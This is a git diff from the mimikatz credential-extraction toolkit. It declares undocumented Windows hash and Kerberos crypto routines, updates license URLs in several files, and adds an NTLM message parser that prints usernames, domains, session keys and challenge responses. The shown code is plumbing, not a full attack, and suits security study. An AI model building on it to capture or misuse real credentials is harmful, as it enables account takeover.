-extern NTSTATUS WINAPI RtlDecryptDES2blocks1key(IN LPCBYTE data, IN LPCBYTE key, OUT LPBYTE output);
-extern NTSTATUS WINAPI RtlEncryptDES2blocks1DWORD(IN LPCBYTE data, IN LPDWORD key, OUT LPBYTE output);
-extern NTSTATUS WINAPI RtlDecryptDES2blocks1DWORD(IN LPCBYTE data, IN LPDWORD key, OUT LPBYTE output);
-extern NTSTATUS WINAPI SystemFunction028(IN NDR_CCONTEXT CContext, OUT LPBYTE output);
-extern RPC_STATUS WINAPI SystemFunction029(IN LPVOID unk0, OUT LPBYTE output);
-extern BOOL WINAPI RtlEqualMemory16Bytes(IN LPCBYTE data1, IN LPCBYTE data2);
-extern NTSTATUS WINAPI RtlEncryptDecryptRC4(IN OUT PCRYPTO_BUFFER data, IN PCCRYPTO_BUFFER key);
-extern NTSTATUS WINAPI SystemFunction034(IN RPC_BINDING_HANDLE hRPC, IN OUT OPTIONAL HANDLE hUnk0, OUT LPBYTE output);
-extern BOOL WINAPI RtlCheckSignatureInFile(IN LPCWSTR filename);
-
-#ifndef RtlGenRandom
-#define RtlGenRandom SystemFunction036
-extern BOOL WINAPI RtlGenRandom(OUT LPBYTE output, IN DWORD length);
-#endif
-
-#ifndef RtlEncryptMemory
-#define RtlEncryptMemory SystemFunction040
-extern NTSTATUS WINAPI RtlEncryptMemory(IN OUT LPBYTE data, DWORD length, DWORD flags);
-#endif
-
-#ifndef RtlDecryptMemory
-#define RtlDecryptMemory SystemFunction041
-extern NTSTATUS WINAPI RtlDecryptMemory(IN OUT LPBYTE data, DWORD length, DWORD flags);
-#endif
-
-#define KERB_NON_KERB_SALT 16
-#define KERB_NON_KERB_CKSUM_SALT 17
-
-typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_INITIALIZE) (DWORD unk0, PVOID * pContext);
-typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_SUM) (PVOID pContext, DWORD Size, LPCVOID Buffer);
-typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_FINALIZE) (PVOID pContext, PVOID Buffer);
-typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_FINISH) (PVOID * pContext);
-typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_INITIALIZEEX) (LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID * pContext);
-
-typedef struct _KERB_CHECKSUM {
- LONG Type;
- DWORD Size;
- DWORD Flag;
- PKERB_CHECKSUM_INITIALIZE Initialize;
- PKERB_CHECKSUM_SUM Sum;
- PKERB_CHECKSUM_FINALIZE Finalize;
- PKERB_CHECKSUM_FINISH Finish;
- PKERB_CHECKSUM_INITIALIZEEX InitializeEx;
- PVOID unk0_null;
-} KERB_CHECKSUM, *PKERB_CHECKSUM;
-
-typedef NTSTATUS (WINAPI * PKERB_ECRYPT_INITIALIZE) (LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID * pContext);
-typedef NTSTATUS (WINAPI * PKERB_ECRYPT_ENCRYPT) (PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD * OutputSize);
-typedef NTSTATUS (WINAPI * PKERB_ECRYPT_DECRYPT) (PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD * OutputSize);
-typedef NTSTATUS (WINAPI * PKERB_ECRYPT_FINISH) (PVOID * pContext);
-typedef NTSTATUS (WINAPI * PKERB_ECRYPT_HASHPASSWORD_NT5) (PCUNICODE_STRING String, PVOID Output);
-typedef NTSTATUS (WINAPI * PKERB_ECRYPT_HASHPASSWORD_NT6) (PCUNICODE_STRING Password, PCUNICODE_STRING Salt, DWORD Count, PVOID Output);
-typedef NTSTATUS (WINAPI * PKERB_ECRYPT_RANDOMKEY) (LPCVOID Key, DWORD KeySize, PVOID Output);
-// Control
-
-typedef struct _KERB_ECRYPT {
- LONG Type0;
- DWORD BlockSize;
- LONG Type1;
- DWORD KeySize;
- DWORD Size;
- DWORD unk2;
- DWORD unk3;
- PCWSTR AlgName;
- PKERB_ECRYPT_INITIALIZE Initialize;
- PKERB_ECRYPT_ENCRYPT Encrypt;
- PKERB_ECRYPT_DECRYPT Decrypt;
- PKERB_ECRYPT_FINISH Finish;
- union {
- PKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5;
- PKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6;
- };
- PKERB_ECRYPT_RANDOMKEY RandomKey;
- PVOID Control;
- PVOID unk0_null;
- PVOID unk1_null;
- PVOID unk2_null;
-} KERB_ECRYPT, *PKERB_ECRYPT;
-
-typedef NTSTATUS (WINAPI * PKERB_RNGFN) (PVOID Buffer, DWORD Size);
-
-typedef struct _KERB_RNG {
- LONG Type;
- DWORD unk0;
- DWORD unk1;
- PKERB_RNGFN RngFn;
-} KERB_RNG, *PKERB_RNG;
-
-extern NTSTATUS WINAPI CDLocateCSystem(LONG type, PKERB_ECRYPT * pCSystem);
-extern NTSTATUS WINAPI CDLocateCheckSum(LONG type, PKERB_CHECKSUM * pCheckSum);
-extern NTSTATUS WINAPI CDLocateRng(LONG type, PKERB_RNG * pRng);
-extern NTSTATUS WINAPI CDGenerateRandomBits(LPVOID Buffer, DWORD Size);
\ No newline at end of file
+/* Benjamin DELPY `gentilkiwi`
+ https://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#pragma once
+#include "globals.h"
+#include "kull_m_string.h"
+
+#define MD4_DIGEST_LENGTH 16
+#define MD5_DIGEST_LENGTH 16
+#define SHA_DIGEST_LENGTH 20
+
+#define DES_KEY_LENGTH 7
+#define DES_BLOCK_LENGTH 8
+#define AES_128_KEY_LENGTH 16
+#define AES_256_KEY_LENGTH 32
+
+#if !defined(IPSEC_FLAG_CHECK)
+#define IPSEC_FLAG_CHECK 0xf42a19b6
+#endif
+
+typedef struct _MD4_CTX {
+ DWORD state[4];
+ DWORD count[2];
+ BYTE buffer[64];
+ BYTE digest[MD4_DIGEST_LENGTH];
+} MD4_CTX, *PMD4_CTX;
+
+typedef struct _MD5_CTX {
+ DWORD count[2];
+ DWORD state[4];
+ BYTE buffer[64];
+ BYTE digest[MD5_DIGEST_LENGTH];
+} MD5_CTX, *PMD5_CTX;
+
+typedef struct _SHA_CTX {
+ BYTE buffer[64];
+ DWORD state[5];
+ DWORD count[2];
+ DWORD unk[6]; // to avoid error on XP
+} SHA_CTX, *PSHA_CTX;
+
+typedef struct _SHA_DIGEST {
+ BYTE digest[SHA_DIGEST_LENGTH];
+} SHA_DIGEST, *PSHA_DIGEST;
+
+typedef struct _CRYPT_BUFFER {
+ DWORD Length;
+ DWORD MaximumLength;
+ PVOID Buffer;
+} CRYPT_BUFFER, *PCRYPT_BUFFER, DATA_KEY, *PDATA_KEY, CLEAR_DATA, *PCLEAR_DATA, CYPHER_DATA, *PCYPHER_DATA;
+
+VOID WINAPI MD4Init(PMD4_CTX pCtx);
+VOID WINAPI MD4Update(PMD4_CTX pCtx, LPCVOID data, DWORD cbData);
+VOID WINAPI MD4Final(PMD4_CTX pCtx);
+
+VOID WINAPI MD5Init(PMD5_CTX pCtx);
+VOID WINAPI MD5Update(PMD5_CTX pCtx, LPCVOID data, DWORD cbData);
+VOID WINAPI MD5Final(PMD5_CTX pCtx);
+
+VOID WINAPI A_SHAInit(PSHA_CTX pCtx);
+VOID WINAPI A_SHAUpdate(PSHA_CTX pCtx, LPCVOID data, DWORD cbData);
+VOID WINAPI A_SHAFinal(PSHA_CTX pCtx, PSHA_DIGEST pDigest);
+
+#define RtlEncryptBlock SystemFunction001 // DES
+#define RtlDecryptBlock SystemFunction002 // DES
+#define RtlEncryptStdBlock SystemFunction003 // DES with key "KGS!@#$%" for LM hash
+#define RtlEncryptData SystemFunction004 // DES/ECB
+#define RtlDecryptData SystemFunction005 // DES/ECB
+#define RtlCalculateLmOwfPassword SystemFunction006
+#define RtlCalculateNtOwfPassword SystemFunction007
+#define RtlCalculateLmResponse SystemFunction008
+#define RtlCalculateNtResponse SystemFunction009
+#define RtlCalculateUserSessionKeyLm SystemFunction010
+#define RtlCalculateUserSessionKeyNt SystemFunction011
+#define RtlEncryptLmOwfPwdWithLmOwfPwd SystemFunction012
+#define RtlDecryptLmOwfPwdWithLmOwfPwd SystemFunction013
+#define RtlEncryptNtOwfPwdWithNtOwfPwd SystemFunction014
+#define RtlDecryptNtOwfPwdWithNtOwfPwd SystemFunction015
+#define RtlEncryptLmOwfPwdWithLmSesKey SystemFunction016
+#define RtlDecryptLmOwfPwdWithLmSesKey SystemFunction017
+#define RtlEncryptNtOwfPwdWithNtSesKey SystemFunction018
+#define RtlDecryptNtOwfPwdWithNtSesKey SystemFunction019
+#define RtlEncryptLmOwfPwdWithUserKey SystemFunction020
+#define RtlDecryptLmOwfPwdWithUserKey SystemFunction021
+#define RtlEncryptNtOwfPwdWithUserKey SystemFunction022
+#define RtlDecryptNtOwfPwdWithUserKey SystemFunction023
+#define RtlEncryptLmOwfPwdWithIndex SystemFunction024
+#define RtlDecryptLmOwfPwdWithIndex SystemFunction025
+#define RtlEncryptNtOwfPwdWithIndex SystemFunction026
+#define RtlDecryptNtOwfPwdWithIndex SystemFunction027
+#define RtlGetUserSessionKeyClient SystemFunction028
+#define RtlGetUserSessionKeyServer SystemFunction029
+#define RtlEqualLmOwfPassword SystemFunction030
+#define RtlEqualNtOwfPassword SystemFunction031
+#define RtlEncryptData2 SystemFunction032 // RC4
+#define RtlDecryptData2 SystemFunction033 // RC4
+#define RtlGetUserSessionKeyClientBinding SystemFunction034
+#define RtlCheckSignatureInFile SystemFunction035
+
+NTSTATUS WINAPI RtlEncryptBlock(IN LPCBYTE ClearBlock, IN LPCBYTE BlockKey, OUT LPBYTE CypherBlock);
+NTSTATUS WINAPI RtlDecryptBlock(IN LPCBYTE CypherBlock, IN LPCBYTE BlockKey, OUT LPBYTE ClearBlock);
+NTSTATUS WINAPI RtlEncryptStdBlock(IN LPCBYTE BlockKey, OUT LPBYTE CypherBlock);
+NTSTATUS WINAPI RtlEncryptData(IN PCLEAR_DATA ClearData, IN PDATA_KEY DataKey, OUT PCYPHER_DATA CypherData);
+NTSTATUS WINAPI RtlDecryptData(IN PCYPHER_DATA CypherData, IN PDATA_KEY DataKey, OUT PCLEAR_DATA ClearData);
+NTSTATUS WINAPI RtlCalculateLmOwfPassword(IN LPCSTR data, OUT LPBYTE output);
+NTSTATUS WINAPI RtlCalculateNtOwfPassword(IN PCUNICODE_STRING data, OUT LPBYTE output);
+NTSTATUS WINAPI RtlCalculateLmResponse(IN LPCBYTE LmChallenge, IN LPCBYTE LmOwfPassword, OUT LPBYTE LmResponse);
+NTSTATUS WINAPI RtlCalculateNtResponse(IN LPCBYTE NtChallenge, IN LPCBYTE NtOwfPassword, OUT LPBYTE NtResponse);
+NTSTATUS WINAPI RtlCalculateUserSessionKeyLm(IN LPCBYTE LmResponse, IN LPCBYTE LmOwfPassword, OUT LPBYTE UserSessionKey);
+NTSTATUS WINAPI RtlCalculateUserSessionKeyNt(IN LPCBYTE NtResponse, IN LPCBYTE NtOwfPassword, OUT LPBYTE UserSessionKey);
+NTSTATUS WINAPI RtlEncryptLmOwfPwdWithLmOwfPwd(IN LPCBYTE DataLmOwfPassword, IN LPCBYTE KeyLmOwfPassword, OUT LPBYTE EncryptedLmOwfPassword);
+NTSTATUS WINAPI RtlDecryptLmOwfPwdWithLmOwfPwd(IN LPCBYTE EncryptedLmOwfPassword, IN LPCBYTE KeyLmOwfPassword, OUT LPBYTE DataLmOwfPassword);
+NTSTATUS WINAPI RtlEncryptNtOwfPwdWithNtOwfPwd(IN LPCBYTE DataNtOwfPassword, IN LPCBYTE KeyNtOwfPassword, OUT LPBYTE EncryptedNtOwfPassword);
+NTSTATUS WINAPI RtlDecryptNtOwfPwdWithNtOwfPwd(IN LPCBYTE EncryptedNtOwfPassword, IN LPCBYTE KeyNtOwfPassword, OUT LPBYTE DataNtOwfPassword);
+NTSTATUS WINAPI RtlEncryptLmOwfPwdWithLmSesKey(IN LPCBYTE LmOwfPassword, IN LPCBYTE LmSessionKey, OUT LPBYTE EncryptedLmOwfPassword);
+NTSTATUS WINAPI RtlDecryptLmOwfPwdWithLmSesKey(IN LPCBYTE EncryptedLmOwfPassword, IN LPCBYTE LmSessionKey, OUT LPBYTE LmOwfPassword);
+NTSTATUS WINAPI RtlEncryptNtOwfPwdWithNtSesKey(IN LPCBYTE NtOwfPassword, IN LPCBYTE NtSessionKey, OUT LPBYTE EncryptedNtOwfPassword);
+NTSTATUS WINAPI RtlDecryptNtOwfPwdWithNtSesKey(IN LPCBYTE EncryptedNtOwfPassword, IN LPCBYTE NtSessionKey, OUT LPBYTE NtOwfPassword);
+NTSTATUS WINAPI RtlEncryptLmOwfPwdWithUserKey(IN LPCBYTE LmOwfPassword, IN LPCBYTE UserSessionKey, OUT LPBYTE EncryptedLmOwfPassword);
+NTSTATUS WINAPI RtlDecryptLmOwfPwdWithUserKey(IN LPCBYTE EncryptedLmOwfPassword, IN LPCBYTE UserSessionKey, OUT LPBYTE LmOwfPassword);
+NTSTATUS WINAPI RtlEncryptNtOwfPwdWithUserKey(IN LPCBYTE NtOwfPassword, IN LPCBYTE UserSessionKey, OUT LPBYTE EncryptedNtOwfPassword);
+NTSTATUS WINAPI RtlDecryptNtOwfPwdWithUserKey(IN LPCBYTE EncryptedNtOwfPassword, IN LPCBYTE UserSessionKey, OUT LPBYTE NtOwfPassword);
+NTSTATUS WINAPI RtlEncryptLmOwfPwdWithIndex(IN LPCBYTE LmOwfPassword, IN LPDWORD Index, OUT LPBYTE EncryptedLmOwfPassword);
+NTSTATUS WINAPI RtlDecryptLmOwfPwdWithIndex(IN LPCBYTE EncryptedLmOwfPassword, IN LPDWORD Index, OUT LPBYTE LmOwfPassword);
+NTSTATUS WINAPI RtlEncryptNtOwfPwdWithIndex(IN LPCBYTE NtOwfPassword, IN LPDWORD Index, OUT LPBYTE EncryptedNtOwfPassword);
+NTSTATUS WINAPI RtlDecryptNtOwfPwdWithIndex(IN LPCBYTE EncryptedNtOwfPassword, IN LPDWORD Index, OUT LPBYTE NtOwfPassword);
+NTSTATUS WINAPI RtlGetUserSessionKeyClient(IN PVOID RpcContextHandle, OUT LPBYTE UserSessionKey);
+NTSTATUS WINAPI RtlGetUserSessionKeyServer(IN PVOID RpcContextHandle OPTIONAL, OUT LPBYTE UserSessionKey);
+BOOLEAN WINAPI RtlEqualLmOwfPassword(IN LPCBYTE LmOwfPassword1, IN LPCBYTE LmOwfPassword2);
+BOOLEAN WINAPI RtlEqualNtOwfPassword(IN LPCBYTE NtOwfPassword1, IN LPCBYTE NtOwfPassword2);
+NTSTATUS WINAPI RtlEncryptData2(IN OUT PCRYPT_BUFFER pData, IN PDATA_KEY pkey);
+NTSTATUS WINAPI RtlDecryptData2(IN OUT PCRYPT_BUFFER pData, IN PDATA_KEY pkey);
+NTSTATUS WINAPI RtlGetUserSessionKeyClientBinding(IN PVOID RpcBindingHandle, OUT HANDLE *RedirHandle, OUT LPBYTE UserSessionKey);
+ULONG WINAPI RtlCheckSignatureInFile(IN LPCWSTR filename);
+
+#if !defined(RtlGenRandom)
+#define RtlGenRandom SystemFunction036
+BOOL WINAPI RtlGenRandom(OUT LPBYTE output, IN DWORD length);
+#endif
+
+#if !defined(RtlEncryptMemory)
+#define RtlEncryptMemory SystemFunction040
+NTSTATUS WINAPI RtlEncryptMemory(IN OUT LPBYTE data, DWORD length, DWORD flags);
+#endif
+
+#if !defined(RtlDecryptMemory)
+#define RtlDecryptMemory SystemFunction041
+NTSTATUS WINAPI RtlDecryptMemory(IN OUT LPBYTE data, DWORD length, DWORD flags);
+#endif
+
+#define KERB_NON_KERB_SALT 16
+#define KERB_NON_KERB_CKSUM_SALT 17
+
+typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_INITIALIZE) (ULONG dwSeed, PVOID *pContext);
+typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_SUM) (PVOID pContext, ULONG cbData, LPCVOID pbData);
+typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_FINALIZE) (PVOID pContext, PVOID pbSum);
+typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_FINISH) (PVOID *pContext);
+typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_INITIALIZEEX) (LPCVOID Key, ULONG KeySize, ULONG MessageType, PVOID *pContext);
+typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_INITIALIZEEX2)(LPCVOID Key, ULONG KeySize, LPCVOID ChecksumToVerify, ULONG MessageType, PVOID *pContext);
+
+typedef struct _KERB_CHECKSUM {
+ ULONG CheckSumType;
+ ULONG CheckSumSize;
+ ULONG Attributes;
+ PKERB_CHECKSUM_INITIALIZE Initialize;
+ PKERB_CHECKSUM_SUM Sum;
+ PKERB_CHECKSUM_FINALIZE Finalize;
+ PKERB_CHECKSUM_FINISH Finish;
+ PKERB_CHECKSUM_INITIALIZEEX InitializeEx;
+ PKERB_CHECKSUM_INITIALIZEEX2 InitializeEx2;
+} KERB_CHECKSUM, *PKERB_CHECKSUM;
+
+typedef NTSTATUS (WINAPI * PKERB_ECRYPT_INITIALIZE) (LPCVOID pbKey, ULONG KeySize, ULONG MessageType, PVOID *pContext);
+typedef NTSTATUS (WINAPI * PKERB_ECRYPT_ENCRYPT) (PVOID pContext, LPCVOID pbInput, ULONG cbInput, PVOID pbOutput, ULONG *cbOutput);
+typedef NTSTATUS (WINAPI * PKERB_ECRYPT_DECRYPT) (PVOID pContext, LPCVOID pbInput, ULONG cbInput, PVOID pbOutput, ULONG *cbOutput);
+typedef NTSTATUS (WINAPI * PKERB_ECRYPT_FINISH) (PVOID *pContext);
+typedef NTSTATUS (WINAPI * PKERB_ECRYPT_HASHPASSWORD_NT5) (PCUNICODE_STRING Password, PVOID pbKey);
+typedef NTSTATUS (WINAPI * PKERB_ECRYPT_HASHPASSWORD_NT6) (PCUNICODE_STRING Password, PCUNICODE_STRING Salt, ULONG Count, PVOID pbKey);
+typedef NTSTATUS (WINAPI * PKERB_ECRYPT_RANDOMKEY) (LPCVOID Seed, ULONG SeedLength, PVOID pbKey);
+typedef NTSTATUS (WINAPI * PKERB_ECRYPT_CONTROL) (ULONG Function, PVOID pContext, PUCHAR InputBuffer, ULONG InputBufferSize);
+
+typedef struct _KERB_ECRYPT {
+ ULONG EncryptionType;
+ ULONG BlockSize;
+ ULONG ExportableEncryptionType;
+ ULONG KeySize;
+ ULONG HeaderSize;
+ ULONG PreferredCheckSum;
+ ULONG Attributes;
+ PCWSTR Name;
+ PKERB_ECRYPT_INITIALIZE Initialize;
+ PKERB_ECRYPT_ENCRYPT Encrypt;
+ PKERB_ECRYPT_DECRYPT Decrypt;
+ PKERB_ECRYPT_FINISH Finish;
+ union {
+ PKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5;
+ PKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6;
+ };
+ PKERB_ECRYPT_RANDOMKEY RandomKey;
+ PKERB_ECRYPT_CONTROL Control;
+ PVOID unk0_null;
+ PVOID unk1_null;
+ PVOID unk2_null;
+} KERB_ECRYPT, *PKERB_ECRYPT;
+
+typedef NTSTATUS (WINAPI * PKERB_RNGFN) (PVOID pbBuffer, ULONG cbBuffer);
+
+typedef struct _KERB_RNG {
+ ULONG GeneratorId;
+ ULONG Attributes;
+ ULONG Seed;
+ PKERB_RNGFN RngFn;
+} KERB_RNG, *PKERB_RNG;
+
+NTSTATUS WINAPI CDLocateCSystem(ULONG Type, PKERB_ECRYPT *ppCSystem);
+NTSTATUS WINAPI CDLocateCheckSum(ULONG Type, PKERB_CHECKSUM *ppCheckSum);
+NTSTATUS WINAPI CDLocateRng(ULONG Id, PKERB_RNG *ppRng);
+NTSTATUS WINAPI CDGenerateRandomBits(LPVOID pbBuffer, ULONG cbBuffer);
\ No newline at end of file
diff --git a/modules/kull_m_file.c b/modules/kull_m_file.c
index c48ee50..20982ba 100644
--- a/modules/kull_m_file.c
+++ b/modules/kull_m_file.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/modules/kull_m_file.h b/modules/kull_m_file.h
index ae36181..2fa63c2 100644
--- a/modules/kull_m_file.h
+++ b/modules/kull_m_file.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/modules/kull_m_memory.c b/modules/kull_m_memory.c
index 6a69ffa..dd42968 100644
--- a/modules/kull_m_memory.c
+++ b/modules/kull_m_memory.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/modules/kull_m_memory.h b/modules/kull_m_memory.h
index 012f16b..6057107 100644
--- a/modules/kull_m_memory.h
+++ b/modules/kull_m_memory.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/modules/kull_m_net.c b/modules/kull_m_net.c
index 09f2f53..e23385c 100644
--- a/modules/kull_m_net.c
+++ b/modules/kull_m_net.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/modules/kull_m_net.h b/modules/kull_m_net.h
index f0dd281..158ef44 100644
--- a/modules/kull_m_net.h
+++ b/modules/kull_m_net.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/modules/kull_m_ntlm.c b/modules/kull_m_ntlm.c
new file mode 100644
index 0000000..18ec2d4
--- /dev/null
+++ b/modules/kull_m_ntlm.c
@@ -0,0 +1,441 @@
+/* Benjamin DELPY `gentilkiwi`
+ https://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : https://creativecommons.org/licenses/by/4.0/
+*/
+#include "kull_m_ntlm.h"
+
+const PCWCHAR KIWI_NEGOTIATE_FLAGS[] = {
+ L"UNICODE", L"OEM", L"ReqTARGET", L"RESERVED_10", L"SIGN", L"SEAL", L"DATAGRAM", L"LM_KEY",
+ L"RESERVED_9", L"NTLM", L"RESERVED_8", L"ANONYMOUS", L"OEM_DOMAIN_SUPPLIED", L"OEM_WORKSTATION_SUPPLIED", L"LOCAL_CALL", L"ALWAYS_SIGN",
+ L"TARGET_TYPE_DOMAIN", L"TARGET_TYPE_SERVER", L"TARGET_TYPE_SHARE", L"EXTENDED_SESSIONSECURITY", L"IDENTIFY", L"RESERVED_5", L"ReqNON_NT_SESSION_KEY", L"TARGET_INFO",
+ L"RESERVED_4", L"VERSION", L"RESERVED_3", L"RESERVED_2", L"RESERVED_1", L"128", L"KEY_EXCH", L"56",
+};
+void kull_m_ntlm_descrNegotiateFlags(ULONG flags)
+{
+ BYTE i;
+ kprintf(L"0x%08x ( ", flags);
+ for(i = 0; i < sizeof(ULONG) * 8; i++)
+ if((flags >> i) & 1)
+ kprintf(L"%s ", KIWI_NEGOTIATE_FLAGS[i]);
+ kprintf(L")\n");
+}
+
+const PCWCHAR KIWI_MSV1_0_AVIDS[] = {L"EOL", L"NbComputerName", L"NbDomainName", L"DnsComputerName", L"DnsDomainName", L"DnsTreeName", L"Flags", L"Timestamp", L"Restrictions", L"TargetName", L"ChannelBindings",};
+const PCWCHAR KIWI_MSV1_0_AVFLAGS[] = {L"FORCE_GUEST", L"MIC_HANDSHAKE_MESSAGES", L"UNVERIFIED_TARGET"};
+void kull_m_ntlm_descrAvPairs(PKIWI_NTLM_AV_PAIR pPair, USHORT len)
+{
+ ULONG i, flags;
+ PKIWI_NTLM_Single_Host_Data pData;
+ while(pPair->AvId)
+ {
+ kprintf(L" [%04x] %-15s - ", pPair->AvId, (pPair->AvId < ARRAYSIZE(KIWI_MSV1_0_AVIDS)) ? KIWI_MSV1_0_AVIDS[pPair->AvId] : L"?");
+ switch(pPair->AvId)
+ {
+ case MsvAvNbComputerName:
+ case MsvAvNbDomainName:
+ case MsvAvDnsComputerName:
+ case MsvAvDnsDomainName:
+ case MsvAvDnsTreeName:
+ case MsvAvTargetName:
+ kprintf(L"\'%.*s\'", pPair->AvLen / sizeof(wchar_t), pPair->Value);
+ break;
+ case MsvAvFlags:
+ flags = *(PULONG) pPair->Value;
+ kprintf(L"%08x - ", flags);
+ for(i = 0; i < sizeof(flags) * 8; i++)
+ if((flags >> i) & 1)
+ kprintf(L"%s ; ", (i < ARRAYSIZE(KIWI_MSV1_0_AVFLAGS)) ? KIWI_MSV1_0_AVFLAGS[i] : L"?");
+ break;
+ case MsvAvTimestamp:
+ kull_m_string_displayLocalFileTime((PFILETIME) pPair->Value);
+ break;
+ case MsvAvRestrictions:
+ pData = (PKIWI_NTLM_Single_Host_Data) pPair->Value;
+ kprintf(L"CustomData: ");
+ kull_m_string_wprintf_hex(pData->CustomData, sizeof(pData->CustomData), 0);
+ kprintf(L" ; MachineID: ");
+ kull_m_string_wprintf_hex(pData->MachineID, sizeof(pData->MachineID), 0);
+ if(pData->Size > (ULONG) FIELD_OFFSET(KIWI_NTLM_Single_Host_Data, AdditionnalData))
+ {
+ kprintf(L" ; ?: ");
+ kull_m_string_wprintf_hex(pData->AdditionnalData, pData->Size - FIELD_OFFSET(KIWI_NTLM_Single_Host_Data, AdditionnalData), 0);
+ }
+ break;
+ case MsvAvChannelBindings:
+ default:
+ kull_m_string_wprintf_hex(pPair->Value, pPair->AvLen, 0);
+ break;
+ }
+ kprintf(L"\n");
+ pPair = (PKIWI_NTLM_AV_PAIR) ((PUCHAR) pPair + FIELD_OFFSET(KIWI_NTLM_AV_PAIR, Value) + pPair->AvLen);
+ }
+}
+
+void kull_m_ntlm_descrAuthenticate(PKIWI_NTLM_AUTHENTICATE_MESSAGE pAuth)
+{
+ PKIWI_NTLM_LMv2_RESPONSE pLMv2;
+ PKIWI_NTLM_NTLMv2_RESPONSE pNTLMv2;
+ PKIWI_NTLM_LM_RESPONSE pLMv1;
+ PKIWI_NTLM_NTLM_RESPONSE pNTLMv1;
+
+ kprintf(L" NegotiateFlags: ");
+ kull_m_ntlm_descrNegotiateFlags(pAuth->NegotiateFlags);
+ kprintf(L" DomainName : ");
+ if(pAuth->DomainNameFields.Len)
+ kprintf(L"%.*s\n", pAuth->DomainNameFields.Len / sizeof(wchar_t), (PBYTE) pAuth + pAuth->DomainNameFields.Offset);
+ else kprintf(L"\n");
+ kprintf(L" UserName : ");
+ if(pAuth->UserNameFields.Len)
+ kprintf(L"%.*s\n", pAuth->UserNameFields.Len / sizeof(wchar_t), (PBYTE) pAuth + pAuth->UserNameFields.Offset);
+ else kprintf(L"\n");
+ kprintf(L" Workstation : ");
+ if(pAuth->WorkstationFields.Len)
+ kprintf(L"%.*s\n", pAuth->WorkstationFields.Len / sizeof(wchar_t), (PBYTE) pAuth + pAuth->WorkstationFields.Offset);
+ else kprintf(L"\n");
+ if(pAuth->NegotiateFlags & NTLMSSP_NEGOTIATE_KEY_EXCH)
+ {
+ kprintf(L" SessionKey : ");
+ if(pAuth->EncryptedRandomSessionKeyFields.Len)
+ kull_m_string_wprintf_hex((PBYTE) pAuth + pAuth->EncryptedRandomSessionKeyFields.Offset, pAuth->EncryptedRandomSessionKeyFields.Len, 0);
+ else kprintf(L"");
+ kprintf(L"\n");
+ }
+ if(pAuth->NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION)
+ kprintf(L" Version : %hhu.%hhu (%hu) - rev. %hhu\n", pAuth->Version.ProductMajorVersion, pAuth->Version.ProductMinorVersion, pAuth->Version.ProductBuild, pAuth->Version.NTLMRevisionCurrent);
+ if((MIMIKATZ_NT_BUILD_NUMBER > 3790) || (pAuth->Version.ProductBuild > 3790))
+ {
+ kprintf(L" MIC : ");
+ kull_m_string_wprintf_hex(pAuth->MIC, sizeof(pAuth->MIC), 0);
+ kprintf(L"\n");
+ }
+ if(pAuth->NtChallengeResponseFields.Len >= sizeof(KIWI_NTLM_NTLMv2_RESPONSE))
+ {
+ if(pAuth->LmChallengeResponseFields.Len == sizeof(KIWI_NTLM_LMv2_RESPONSE))
+ {
+ pLMv2 = (PKIWI_NTLM_LMv2_RESPONSE) ((PBYTE) pAuth + pAuth->LmChallengeResponseFields.Offset);
+ kprintf(L" LMv2:\n Response : ");
+ kull_m_string_wprintf_hex(pLMv2->Response, sizeof(pLMv2->Response), 0);
+ kprintf(L"\n ClientChallenge: ");
+ kull_m_string_wprintf_hex(pLMv2->ChallengeFromClient, sizeof(pLMv2->ChallengeFromClient), 0);
+ kprintf(L"\n");
+ }
+ pNTLMv2 = (PKIWI_NTLM_NTLMv2_RESPONSE) ((PBYTE) pAuth + pAuth->NtChallengeResponseFields.Offset);
+ kprintf(L" NTLMv2:\n Response : ");
+ kull_m_string_wprintf_hex(pNTLMv2->Response, sizeof(pNTLMv2->Response), 0);
+ kprintf(L"\n ClientChallenge: ");
